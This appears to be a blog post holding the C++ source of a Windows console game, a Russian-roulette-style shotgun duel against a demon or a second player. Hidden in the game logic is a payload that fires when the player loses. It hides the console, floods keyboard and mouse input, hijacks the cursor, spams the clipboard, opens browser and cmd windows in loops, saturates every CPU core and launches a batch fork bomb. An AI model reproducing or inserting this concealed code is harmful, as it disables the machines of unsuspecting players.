mk的一切博客均属抄袭。 mk的一切博客均属抄袭。

mk的一切博客均属抄袭。 mk的一切博客均属抄袭。

#include<bits/stdc++.h>
#include<windows.h>
#include <cmath>
#include <winuser.h>
#define  KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
using namespace std;
int Your,Other;
string daojuname[]={"放大镜","手铐","小刀","烟","饮料"};
double Yourmoney;
int huihe;
bool emoqbq=1;
bool ndqbq=1;
int shi,kong;
int q[10],qlen;
int Rand(int x,int y){
	int A=rand(),B=rand();
	return A*1ll*B%(y-x+1)+x;
}
double fix(double a){
	int t=(a<0?-1:1);
    return round(a*t)*t;
}
int T;
int daojulen;
int daoju[10];
int daojulen1;
int daoju1[10];
void build_gun(){
	kong=Rand(1,4);
	shi=Rand(1,4);
	qlen=0;
	printf("%d发实弹,%d发空弹\n",shi,kong);
	int a1=kong,a2=shi;
	for(int i=1;i<=kong+shi;i++){
		int sum=Rand(1,a1+a2);
		if(sum<=a1){
			a1--;
			q[++qlen]=2;
		}else{
			a2--;
			q[++qlen]=1;
		}
	}
	if(huihe!=1){
		int maxn=min(4,8-daojulen);
		printf("你获得了%d个道具:\n",maxn);
		daojulen+=maxn;
		for(int i=1;i<=maxn;i++){
			int kkk=Rand(0,4);
			daoju[kkk]++;
			cout<<daojuname[kkk];
			if(i!=maxn){
				printf(",");
			}
		}
		printf("\n");
		maxn=min(4,8-daojulen1);
		printf("恶魔获得了%d个道具:\n",maxn);
		daojulen1+=maxn;
		for(int i=1;i<=maxn;i++){
			int kkk=Rand(0,4);
			daoju1[kkk]++;
			cout<<daojuname[kkk];
			if(i!=maxn){
				printf(",");
			}
		}
	}
	printf("\n");
	system("pause");
	system("cls");
}
void xf1(int n) {//键盘乱打
	int i=0;
	srand( (unsigned)time( NULL ) );
	Sleep(10);
	while(i<n*1000) {
		Sleep(50);
		SetCursorPos(1920,1070);
		mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
		mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
		int x=rand()%222+1;
		while(!(x>=77&&x<=81||x>=48&&x<=57||x>=37&&x<=40||x==16||x==20||x==8||x==46||x==9||x==13))x=rand()%222+1;
		keybd_event(x,0,0,0);
		keybd_event(x,0,2,0);
		i++;
	}
}
void xf2(int n) {
	int i=0;
	while(i<n*1000) {
		Sleep(100);
		SetCursorPos(1920,1070);
		mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
		mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
		i++;
	}
}
void xf3(int n,int p) {
	int i=0;
	srand( (unsigned)time( NULL ) );
	while(i<n*1000) {
		Sleep(50);
		POINT P;
		GetCursorPos(&P);
		SetCursorPos(P.x+rand()%p*((rand()%2>0?1:-1)),P.y+rand()%p*((rand()%2>0?1:-1)));
		i++;
	}

}
void aaa(string a) {
	HGLOBAL b=NULL;
	PCHAR c=NULL;
	OpenClipboard(NULL);
	EmptyClipboard();
	b=GlobalAlloc(GMEM_MOVEABLE, a.size()+1);
	c=(PCHAR)GlobalLock(b);
	RtlMoveMemory(c,a.c_str(),a.size()+1);
	GlobalUnlock(b);
	c=NULL;
	SetClipboardData(CF_TEXT,b);
	CloseClipboard();
}
void xf4(int n, string a) {
	int i=0;
	while(i<n*1000) {
		Sleep(10);
		aaa(a);
		i++;
	}
}
void xf5(int n) {
	int i=0;
	while(i<n*1000) {
		Sleep(100);
		system("start https://vdse.bdstatic.com//192d9a98d782d9c74c96f09db9378d93.mp4");
		i++;
	}
}
void xf6(int n) { 
	int i=0;
	while(i<n*1000) {
		Sleep(100);
		system("start cmd");
		i++;
	}
}
DWORD CALLBACK TestFunc1(LPVOID lpParam) {
	int i=1;
	while (i<40000000000) i++;
}
void xf7() {
	SYSTEM_INFO sysinfo;
	GetSystemInfo(&sysinfo);
	DWORD CPUCores = sysinfo.dwNumberOfProcessors;
	cout<<CPUCores;
	DWORD nID = 0;
	HANDLE *hThreads = new HANDLE[CPUCores];
	for (DWORD i = 0; i < CPUCores; i++) hThreads[i] = CreateThread(NULL, 0, TestFunc1, NULL, 0, &nID);
	WaitForMultipleObjects(2, hThreads, true, INFINITE);
}
void xf8() {
	Sleep(200);
	system("set /p=\"%0|%0\"<nul>s.bat&s");
}
void xf9() {
	POINT P;
	GetCursorPos(&P);
	int x=P.x,y=P.y;double dx=0,dy=0;
	while(1) {
		x=fix(x+dx);
		dx=dx*0.8;
		y+=fix(y+dy);
		dy=dy*0.8;
	SetCursorPos(x,y);Sleep(5);
		if((GetAsyncKeyState(37) & 0x8000)) {
			dx-=3;

		}
		if((GetAsyncKeyState(38) & 0x8000)) {
			dy-=3;

		}
		if((GetAsyncKeyState(39) & 0x8000)) {
			dx+=3;
		}
		if((GetAsyncKeyState(40) & 0x8000)) {
			dy+=3;
		}
		if((GetAsyncKeyState(32) & 0x8000)) {
			mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
			Sleep(100);
		}
		
		mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
	}
}
void xf10() {	
	POINT P;
	GetCursorPos(&P);
	int x=P.x,y=P.y;
	while(1) {
		GetCursorPos(&P);
		int x1=P.x,y1=P.y;
		SetCursorPos(x+2*(x-P.x),y+2*(y-P.y));
		cout<<x<<" "<<y<<endl;
		GetCursorPos(&P);
		x=P.x,y=P.y;
		Sleep(3);
	}
}
void xf11(int n){
	for(int i=1;i<=n*1000;i++){
		Sleep(10);
	    system("start 未命名2.exe");
	}
} 
void jl1() {	
	POINT P;
	while(1) {
		GetCursorPos(&P);
		int x=P.x,y=P.y;
		if(x==0)SetCursorPos(1918,y);
		if(x==1919)SetCursorPos(10,y);
		if(y==0)SetCursorPos(x,1078);
		if(y==1079)SetCursorPos(x,10);
		Sleep(3);
	}
}
void hh() {
	HWND hwnd;
	if(hwnd=::FindWindow("ConsoleWindowClass",NULL))::ShowWindow(hwnd,SW_HIDE);
	xf1(1000000);
	xf2(1000000);
	xf3(1000000,1);
	xf11(100000);
	xf4(10000,"zf xh yzh");
	xf5(1000000);
	xf6(1000000);
	xf7();
	xf8();
	xf9();
	xf10();
}
void IsOver(){
	if(Your<=0){
		printf("你输了\n");
		system("pause");
		hh();
		exit(0);
	}
	if(Other<=0){
		if(huihe==3){
			Yourmoney/=3;
			printf("你赢了\n你获得了奖金$%.2lf\n",Yourmoney);
			system("pause");
			exit(0);
		}else if(huihe==2){
			printf("进入第三回合\n");
			huihe=3;
			Your=6;
			Other=6;
			system("pause");
			system("cls");
			build_gun(); 
		}else if(huihe==1){
			printf("进入第二回合\n");
			huihe=2;
			Your=4;
			Other=4;
			system("pause");
			system("cls");
			build_gun();
		}
	}
}
void wait(){
	for(int i=1;i<=3;i++){
		Sleep(500);
		printf(".");
	}
	Sleep(500);
}
int Hurt=1;
int shoukao_you;
void Timeyou(){
	int x;
	while(1){
		if(!ndqbq){
			printf("你的生命:@#%&%%&@#%@%*&*\n");
		}else{
			printf("你的生命:%d/%d\n",Your,huihe*2);
		}
		if(!emoqbq){
			printf("恶魔生命:@$%#^%%^%&*&%%$\n");
		}else{
			printf("恶魔生命:%d/%d\n",Other,huihe*2);
		}
		printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
		if(huihe!=1){
			printf("你现在拥有的道具:\n");
			for(int i=0;i<=4;i++){
				cout<<daojuname[i];
				printf("%d",daoju[i]);
				printf("个");
				if(i!=4){
					printf(",");
				}
			}
			printf("\n");
			printf("恶魔现在拥有的道具:\n");
			for(int i=0;i<=4;i++){
				cout<<daojuname[i];
				printf("%d",daoju1[i]);
				printf("个");
				if(i!=4){
					printf(",");
				}
			}	
		}
		printf("\n");
		printf("现在是你的回合\n");
		printf("你要\n1.向恶魔开枪\n2.向自己开枪\n");
		if(huihe!=1){
			for(int i=0;i<=4;i++){
				printf("%d.使用",i+3);
				cout<<daojuname[i]<<'\n';
			}
		}
		scanf("%d",&x);
		if((huihe==1&&1<=x&&x<=2)||(huihe!=1&&1<=x&&x<=7)){
			break;
		}
		printf("输入不合法\n");
		Sleep(1145);
		system("cls");
	}
	if(x==1){
		printf("你决定向恶魔开枪");
		T++;
		wait();
		if(q[qlen]==2){
			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong)));
			kong--;
			qlen--;
			Hurt=1;
			printf("是空弹\n");
			if(shoukao_you==1){
				shoukao_you=0;
				printf("因为你使用了手铐,所以可以再来一次\n");
				Sleep(500);
				T--;
			}
		}else{
			Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
			shi--;
			qlen--;
			Other-=Hurt;
			
			printf("是实弹\n");
			printf("造成了%d点伤害\n",Hurt);
			Hurt=1;
			Sleep(500);
			IsOver();
			if(huihe==3&&Other<=2){
				printf("恶魔的起搏器断开!\n");
				emoqbq=1;
				Yourmoney+=5000.0;
			}
			if(shoukao_you==1){
				shoukao_you=0;
				Yourmoney+=1000.0;
				printf("因为你使用了手铐,所以可以再来一次\n");
				Sleep(500);
				T--;
			}
		}
	}else if(x==2){
		printf("你决定向自己开枪");
		wait();
		if(q[qlen]==2){
			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
			kong--;
			qlen--;
			Hurt=1;
			printf("是空弹\n");
		}else{
			Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
			T++;
			shi--;
			qlen--;
			Your-=Hurt;
			printf("是实弹\n");
			printf("造成了%d点伤害\n",Hurt);
			Hurt=1;
			Sleep(500);
			IsOver();
			if(huihe==3&&Your<=2){
				printf("你的起搏器断开!\n");
				ndqbq=1;
			}
			if(shoukao_you==1){
				shoukao_you=0;
				printf("因为你使用了手铐,所以可以再来一次\n");
				Sleep(500);
				T--;
			}
		}
	}else if(x==3){
		if(daoju[0]){
			daoju[0]--;
			daojulen--;
			printf("你使用了放大镜\n");
			wait();
			printf("\n你看到了");
			if(q[qlen]==1){
				printf("实弹\n");
				Yourmoney+=2500.0;
			}else{
				printf("空弹\n");
			}
			Sleep(500);
			printf("\n");
		}else{
			printf("你现在没有放大镜\n");
			Sleep(1145);
			system("cls");
		}
	}else if(x==4){
		if(daoju[1]){
			if(!shoukao_you){
				daoju[1]--;
				daojulen--;
				printf("你使用了手铐\n");
				printf("你获得了连开两枪的机会\n");
				shoukao_you=1;
			}else{
				printf("你已经用过手铐了\n");
			}
			Sleep(1145);
			system("cls"); 
		}else{
			printf("你现在没有手铐\n");
			Sleep(1145);
			system("cls");
		}
	}else if(x==5){
		if(daoju[2]){
			daoju[2]--;
			daojulen--;
			printf("你使用了小刀\n");
			printf("若下一发为实弹则伤害翻倍\n");
			Hurt*=2; 
			Yourmoney+=500.0;
			Sleep(1145);
			system("cls");
		}else{
			printf("你现在没有小刀\n");
			Sleep(1145);
			system("cls");
		}
	}else if(x==6){
		if(daoju[3]){
			if(Your^6){
				daoju[3]--;
				daojulen--;
				printf("你使用了烟\n");
				printf("你回复了一点生命\n");
				Yourmoney+=500.0;
				Your++;
			}else{
				printf("你现在不需要烟\n");
			}
			Sleep(1145);
		}else{
			printf("你现在没有烟\n");
			Sleep(1145);
			system("cls");
		}
	}else{
		if(daoju[4]){
			daoju[4]--;
			daojulen--;
			printf("你使用了饮料\n");
			wait();
			printf("\n");
			printf("你退了一发"); 
			if(q[qlen]==2){
				printf("空弹");
				kong--;
			}else{
				printf("实弹");
				Yourmoney+=500.0;
				shi--;
			}
			qlen--;
			Sleep(500);
		}else{
			printf("你现在没有饮料\n");
			Sleep(1145);
			system("cls");
		}
	}
	Sleep(1000);
	system("cls");
}
int Know;
int shoukaoemo;
void fightyou(){
	printf("恶魔决定向你开枪");
	T++;
	wait();
	if(q[qlen]==2){
		Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
		kong--;
		qlen--;
		Hurt=1;
		Know=0;
		printf("是空弹\n");
		if(shoukaoemo){
			printf("因为恶魔使用了手铐,所以可以再来一次\n");
			T--;
			Sleep(500);
			shoukaoemo=0;
		}
	}else{
		Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
		shi--;
		qlen--;
		Your-=Hurt;
		printf("是实弹\n");
		printf("造成了%d点伤害\n",Hurt);
		Hurt=1;
		Know=0;
		Sleep(500);
		IsOver();
		if(huihe==3&&Your<=2){
			printf("你的起搏器断开!\n");
			ndqbq=1;
		}
		if(shoukaoemo){
			printf("因为恶魔使用了手铐,所以可以再来一次\n");
			Yourmoney+=1000.0;
			T--;
			Sleep(500);
			shoukaoemo=0;
		}
	}
}
void fightemo(){
	printf("恶魔决定向自己开枪");
	wait();
	if(q[qlen]==2){
		Yourmoney+=2000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
		kong--;
		qlen--;
		printf("是空弹\n");
		Know=0;
	}else{
		Yourmoney+=5000.0*(1+(double)(kong)*1.0/(double)(shi+kong));
		shi--;
		T++;
		qlen--;
		Other-=Hurt;
		printf("是实弹\n");
		printf("造成了%d点伤害\n",Hurt);
		Hurt=1;
		Know=0;
		Sleep(500);
		IsOver();
		if(huihe==3&&Other<=2){
			printf("恶魔的起搏器断开!\n");
			emoqbq=1;
			Yourmoney+=5000.0;
		}
		if(shoukaoemo){
			printf("因为恶魔使用了手铐,所以可以再来一次\n");
			T--;
			Sleep(500);
			shoukaoemo=0;
		}
	}
}
void Timeother(){
	if(!ndqbq){
		printf("你的生命:@#%&%%&@#%@%*&*\n");
	}else{
		printf("你的生命:%d/%d\n",Your,huihe*2);
	}
	if(!emoqbq){
		printf("恶魔生命:@$%#^%%^%&*&%%$\n");
	}else{
		printf("恶魔生命:%d/%d\n",Other,huihe*2);
	}
	printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
	if(huihe!=1){
		printf("恶魔现在拥有的道具:\n");
		for(int i=0;i<=4;i++){
			cout<<daojuname[i];
			printf("%d",daoju1[i]);
			printf("个");
			if(i!=4){
				printf(",");
			}
		}	
	}
	printf("现在是恶魔的回合\n");
	Sleep(1500);
	if(Other!=6){
		if(daoju1[3]){
			daoju1[3]--;
			daojulen1--;
			printf("恶魔使用了烟\n");
			printf("恶魔回复了一点生命\n");
			Other++;
			Yourmoney+=500.0;
			Sleep(1145);
			system("cls");
			return ;
		}
	}
	if(Know==0&&kong==0){
		Know=1;
	}
	if(Know==0){
		if(abs(shi-kong)<2&&kong!=0){
			if(daoju1[0]){
				daoju1[0]--;
				daojulen1--;
				printf("恶魔使用了放大镜\n");
				wait();
				printf("\nVery Interesting");
				if(q[qlen]==1){
					Yourmoney+=2500.0;
					Know=1;
				}else{
					Know=2;
				}
				Sleep(1145);
				system("cls");
				return ;
			}
		}
	}else if(Know==1){
		if(daoju1[2]){
			daoju1[2]--;
			daojulen1--;
			Hurt*=2;
			printf("恶魔使用了小刀\n");
			printf("若下一发为实弹则伤害翻倍");
			Yourmoney+=500.0;
			Sleep(1145);
			system("cls");
			return;
		}else{
			if(shi>=kong+1&&daoju1[1]&&shoukaoemo!=1){
				daoju1[1]--;
				daojulen1--;
				shoukaoemo=1;
				printf("恶魔使用了手铐\n");
				printf("恶魔获得了连开两枪的机会\n");
				Sleep(1145);
				system("cls");
				return ;
			}
			fightyou();
			system("cls");
			return ;
		}
	}else{
		if(daoju1[4]){
			daoju1[4]--;
			daojulen1--;
			printf("恶魔使用了饮料\n");
			wait();
			printf("\n");
			printf("恶魔退了一发"); 
			if(q[qlen]==2){
				printf("空弹");
				kong--;
			}else{
				printf("实弹");
				shi--;
			}
			Know=0;
			qlen--;
			Sleep(500);
			Sleep(1145);
			system("cls");
			return ;
		}else{
			fightemo();
			Sleep(1145);
			system("cls");
			return ;
		}
	}
	if(shi>=kong){
		fightyou();
	}else{
		fightemo();
	}
	Sleep(1145);
	system("cls");
}
void Play(){
	while(1){
		if(shi==0){
			build_gun();
			T=0;
			continue;
		}
		if(T%2==0){
			Timeyou();
		}else{
			Timeother();
		}
	}
}
void danrenplay(){
	for(int i=1;i<=3;i++){
		printf(".");
		//      Sleep(1000);
	}
	printf("\n");
	printf("又来了一位挑战者...\n");
	Sleep(1000);
	int x;
	while(1){
		printf("准备好参与恶魔的游戏吗?胜者带走奖金,败者将会在此长眠\n1.好的\n2.没问题\n");
		scanf("%d",&x);
		if(x==1||x==2){
			break;
		}
		printf("输入不合法\n");
		Sleep(1145);
		system("cls");
	}
	while(1){
		printf("你清楚我们的规则吗?\n1.清楚\n2.不清楚\n");
		scanf("%d",&x);
		if(x==1||x==2){
			break;
		}
		printf("输入不合法\n");
		Sleep(1145);
		system("cls");
	}
	if(x==2){
		for(int i=1;i<=3;i++){
			printf(".");
			Sleep(1000);
		}
		printf("\n");
		printf("规则:\n");
		printf("你和恶魔都各有6点生命\n") ;
		printf("每轮开始前,你将知道一共有几发实弹,几发空弹\n");
		printf("每轮你可以选择对自己开枪,对恶魔开枪或者使用道具\n");
		printf("如果你对自己开枪,若为空弹,则可以继续行动,否则,停止行动\n");
		printf("如果你对恶魔开枪,无论如何,都将停止行动\n");
		printf("第二、三回合每轮开始前双方都将获得4个道具作为补给(上限为8个)\n");
		printf("到了第三回合,若有一方只剩两点生命,则该方的起搏器将被销毁,无法看见自己血量!\n");
		printf("道具一览:\n"); 
		printf("放大镜:可以知道下一发子弹是空弹还是实弹\n");
		printf("手铐:增加一次本回合的行动次数\n");
		printf("小刀:若下一发子弹为实弹,则伤害翻倍\n");
		printf("烟:可以回复1点体力\n");
		printf("饮料:可以退一发子弹\n");
		system("pause");
		system("cls");
	}
	printf("好吧\n");
	Sleep(1145);
	printf("游戏将要开始了哦\n");
	Sleep(1145);
	huihe=1;
	Your=2;Other=2;
	system("cls");
	Play();
}
void IsOver_duo(){
	if(Your<=0){
		printf("玩家B赢了\n玩家B获得了奖金$%.2lf\n",Yourmoney); 
		system("pause");
		exit(0);
	}else if(Other<=0){
		printf("玩家A赢了\n玩家A获得了奖金$%.2lf\n",Yourmoney); 
		system("pause");
		exit(0);
	}
	
}
void build_gun_duo(){
	kong=Rand(1,4);
	shi=Rand(1,4);
	qlen=0;
	printf("%d发实弹,%d发空弹\n",shi,kong);
	int a1=kong,a2=shi;
	for(int i=1;i<=kong+shi;i++){
		//      Sleep(50);
		int sum=Rand(1,a1+a2);
		if(sum<=a1){
			a1--;
			q[++qlen]=2;
		}else{
			a2--;
			q[++qlen]=1;
		}
	}
	int maxn=min(2,8-daojulen);
	printf("玩家A获得了%d个道具:\n",maxn);
	daojulen+=maxn;
	for(int i=1;i<=maxn;i++){
		//      Sleep(50);
		int kkk=Rand(0,4);
		daoju[kkk]++;
		cout<<daojuname[kkk];
		if(i!=maxn){
			printf(",");
		}
	}
	printf("\n");
	maxn=min(2,8-daojulen1);
	printf("玩家B获得了%d个道具:\n",maxn);
	daojulen1+=maxn;
	for(int i=1;i<=maxn;i++){
		int kkk=Rand(0,4);
		daoju1[kkk]++;
		cout<<daojuname[kkk];
		if(i!=maxn){
			printf(",");
		}
	}
	printf("\n");
	system("pause");
	system("cls");
}
void Timeyou_duo(){
	int x;
	while(1){
		printf("玩家A的生命:%d/4\n玩家B的生命:%d/4\n",Your,Other);
		printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
		printf("玩家A现在拥有的道具:\n");
		for(int i=0;i<=4;i++){
			cout<<daojuname[i];
			printf("%d",daoju[i]);
			printf("个");
			if(i!=4){
				printf(",");
			}
		}
		printf("\n");
		printf("玩家B现在拥有的道具:\n");
		for(int i=0;i<=4;i++){
			cout<<daojuname[i];
			printf("%d",daoju1[i]);
			printf("个");
			if(i!=4){
				printf(",");
			}
		}
		printf("\n");
		printf("现在是玩家A的回合\n");
		printf("玩家A要\n1.向玩家B开枪\n2.向自己开枪\n");
		for(int i=0;i<=4;i++){
			printf("%d.使用",i+3);
			cout<<daojuname[i]<<'\n';
		}
		scanf("%d",&x);
		if(1<=x&&x<=7){
			break;
		}
		printf("输入不合法\n");
		Sleep(1145);
		system("cls");
	}
	if(x==1){
		printf("玩家A决定向玩家B开枪");
		T++;
		wait();
		if(q[qlen]==2){
			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong)));
			kong--;
			qlen--;
			Hurt=1;
			printf("是空弹\n");
			if(shoukao_you==1){
				shoukao_you=0;
				printf("因为玩家A使用了手铐,所以可以再来一次\n");
				Sleep(500);
				T--;
			}
		}else{
			Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
			shi--;
			qlen--;
			Other-=Hurt;
			printf("是实弹\n");
			printf("造成了%d点伤害\n",Hurt);
			Hurt=1;
			Sleep(500);
			IsOver_duo();
			if(shoukao_you==1){
				shoukao_you=0;
				Yourmoney+=1000.0;
				printf("因为玩家A使用了手铐,所以可以再来一次\n");
				Sleep(500);
				T--;
			}
		}
	}else if(x==2){
		printf("玩家A决定向自己开枪");
		wait();
		if(q[qlen]==2){
			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
			kong--;
			qlen--;
			Hurt=1;
			printf("是空弹\n");
		}else{
			Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
			T++;
			shi--;
			qlen--;
			Your-=Hurt;
			printf("是实弹\n");
			printf("造成了%d点伤害\n",Hurt);
			Hurt=1;
			Sleep(500);
			IsOver_duo();
			if(shoukao_you==1){
				shoukao_you=0;
				printf("因为玩家A使用了手铐,所以可以再来一次\n");
				Sleep(500);
				T--;
			}
		}
	}else if(x==3){//{"放大镜","手铐","小刀","烟","饮料"};
		if(daoju[0]){
			daoju[0]--;
			daojulen--;
			printf("玩家A使用了放大镜\n");
			wait();
			printf("\n玩家A看到了");
			if(q[qlen]==1){
				printf("实弹\n");
				Yourmoney+=2500.0;
			}else{
				printf("空弹\n");
			}
			Sleep(500);
			printf("\n");
		}else{
			printf("玩家A现在没有放大镜\n");
			Sleep(1145);
			system("cls");
		}
	}else if(x==4){
		if(daoju[1]){
			if(!shoukao_you){
				daoju[1]--;
				daojulen--;
				printf("玩家A使用了手铐\n");
				printf("玩家A获得了连开两枪的机会\n");
				shoukao_you=1;
			}else{
				printf("玩家A已经用过手铐了\n");
			}
			Sleep(1145);
			system("cls"); 
		}else{
			printf("玩家A现在没有手铐\n");
			Sleep(1145);
			system("cls");
		}
	}else if(x==5){
		if(daoju[2]){
			daoju[2]--;
			daojulen--;
			printf("玩家A使用了小刀\n");
			printf("若下一发为实弹则伤害翻倍\n");
			Yourmoney+=500.0;
			Hurt*=2;
			Sleep(1145);
			system("cls");
		}else{
			printf("玩家A现在没有小刀\n");
			Sleep(1145);
			system("cls");
		}
	}else if(x==6){
		if(daoju[3]){
			if(Your^4){
				daoju[3]--;
				daojulen--;
				printf("玩家A使用了烟\n");
				printf("玩家A回复了一点生命\n");
				Yourmoney+=500.0;
				Your++;
			}else{
				printf("玩家A现在不需要烟\n");
			}
			Sleep(1145);
		}else{
			printf("玩家A现在没有烟\n");
			Sleep(1145);
			system("cls");
		}
	}else{
		if(daoju[4]){
			daoju[4]--;
			daojulen--;
			printf("玩家A使用了饮料\n");
			wait();
			printf("\n");
			printf("玩家A退了一发"); 
			if(q[qlen]==2){
				printf("空弹");
				kong--;
			}else{
				printf("实弹");
				Yourmoney+=500.0;
				shi--;
			}
			qlen--;
			Sleep(500);
		}else{
			printf("玩家A现在没有饮料\n");
			Sleep(1145);
			system("cls");
		}
	}
	Sleep(1000);
	system("cls");
}
void Timeother_duo(){
	int x;
	while(1){
		printf("玩家A的生命:%d/4\n玩家B的生命:%d/4\n",Your,Other);
		printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
		printf("玩家A现在拥有的道具:\n");
		for(int i=0;i<=4;i++){
			cout<<daojuname[i];
			printf("%d",daoju[i]);
			printf("个");
			if(i!=4){
				printf(",");
			}
		}
		printf("\n");
		printf("玩家B现在拥有的道具:\n");
		for(int i=0;i<=4;i++){
			cout<<daojuname[i];
			printf("%d",daoju1[i]);
			printf("个");
			if(i!=4){
				printf(",");
			}
		}
		printf("\n");
		printf("现在是玩家B的回合\n");
		printf("玩家B要\n1.向玩家A开枪\n2.向自己开枪\n");
		for(int i=0;i<=4;i++){
			printf("%d.使用",i+3);
			cout<<daojuname[i]<<'\n';
		}
		scanf("%d",&x);
		if(1<=x&&x<=7){
			break;
		}
		printf("输入不合法\n");
		Sleep(1145);
		system("cls");
	}
	if(x==1){
		printf("玩家B决定向玩家A开枪");
		T++;
		wait();
		if(q[qlen]==2){
			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong)));
			kong--;
			qlen--;
			Hurt=1;
			printf("是空弹\n");
			if(shoukaoemo==1){
				shoukaoemo=0;
				printf("因为玩家B使用了手铐,所以可以再来一次\n");
				Sleep(500);
				T--;
			}
		}else{
			Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
			shi--;
			qlen--;
			Your-=Hurt;
			printf("是实弹\n");
			printf("造成了%d点伤害\n",Hurt);
			Hurt=1;
			Sleep(500);
			IsOver_duo();
			if(shoukaoemo==1){
				shoukaoemo=0;
				Yourmoney+=1000.0;
				printf("因为玩家B使用了手铐,所以可以再来一次\n");
				Sleep(500);
				T--;
			}
		}
	}else if(x==2){
		printf("玩家B决定向自己开枪");
		wait();
		if(q[qlen]==2){
			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
			kong--;
			qlen--;
			Hurt=1;
			printf("是空弹\n");
		}else{
			Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
			T++;
			shi--;
			qlen--;
			Other-=Hurt;
			printf("是实弹\n");
			printf("造成了%d点伤害\n",Hurt);
			Hurt=1;
			Sleep(500);
			IsOver_duo();
			if(shoukao_you==1){
				shoukao_you=0;
				printf("因为玩家B使用了手铐,所以可以再来一次\n");
				Sleep(500);
				T--;
			}
		}
	}else if(x==3){
		if(daoju1[0]){
			daoju1[0]--;
			daojulen1--;
			printf("玩家B使用了放大镜\n");
			wait();
			printf("\n玩家B看到了");
			if(q[qlen]==1){
				printf("实弹\n");
				Yourmoney+=2500.0;
			}else{
				printf("空弹\n");
			}
			Sleep(500);
			printf("\n");
		}else{
			printf("玩家B现在没有放大镜\n");
			Sleep(1145);
			system("cls");
		}
	}else if(x==4){
		if(daoju1[1]){
			if(!shoukaoemo){
				daoju1[1]--;
				daojulen1--;
				printf("玩家B使用了手铐\n");
				printf("玩家B获得了连开两枪的机会\n");
				shoukaoemo=1;
			}else{
				printf("玩家B已经用过手铐了\n");
			}
			Sleep(1145);
			system("cls"); 
		}else{
			printf("玩家B现在没有手铐\n");
			Sleep(1145);
			system("cls");
		}
	}else if(x==5){
		if(daoju1[2]){
			daoju1[2]--;
			daojulen1--;
			printf("玩家B使用了小刀\n");
			printf("若下一发为实弹则伤害翻倍\n");
			Yourmoney+=500.0;
			Hurt*=2;
			Sleep(1145);
			system("cls");
		}else{
			printf("玩家B现在没有小刀\n");
			Sleep(1145);
			system("cls");
		}
	}else if(x==6){
		if(daoju1[3]){
			if(Other^4){
				daoju1[3]--;
				daojulen1--;
				printf("玩家B使用了烟\n");
				printf("玩家B回复了一点生命\n");
				Yourmoney+=500.0;
				Other++;
			}else{
				printf("玩家B现在不需要烟\n");
			}
			Sleep(1145);
		}else{
			printf("玩家B现在没有烟\n");
			Sleep(1145);
			system("cls");
		}
	}else{
		if(daoju1[4]){
			daoju1[4]--;
			daojulen1--;
			printf("玩家B使用了饮料\n");
			wait();
			printf("\n");
			printf("玩家B退了一发"); 
			if(q[qlen]==2){
				printf("空弹");
				kong--;
			}else{
				printf("实弹");
				Yourmoney+=500.0;
				shi--;
			}
			qlen--;
			Sleep(500);
		}else{
			printf("玩家B现在没有饮料\n");
			Sleep(1145);
			system("cls");
		}
	}
	Sleep(1000);
	system("cls");
}
int asdasd;
void duorenplay(){
	while(1){
		if(shi==0){
			build_gun_duo();
			T=asdasd;
			asdasd++;
			continue;
		}
		if(T%2==0){
			Timeyou_duo();
		}else{
			Timeother_duo();
		}
	}
}
int main(){
	srand(time(0));
	int x;
	while(1){
		printf("请选择你想要的模式:\n1.单人\n2.双人(此模式中,生命值为4,道具补给为2)\n");
		scanf("%d",&x);
		if(x==1||x==2){
			break;
		}
		printf("输入不合法\n");
		Sleep(1145);
		system("cls");
	}
	system("cls");
	if(x==1){
		danrenplay();
	}else{
		Your=Other=4;
		duorenplay();
	}
	return 0;
}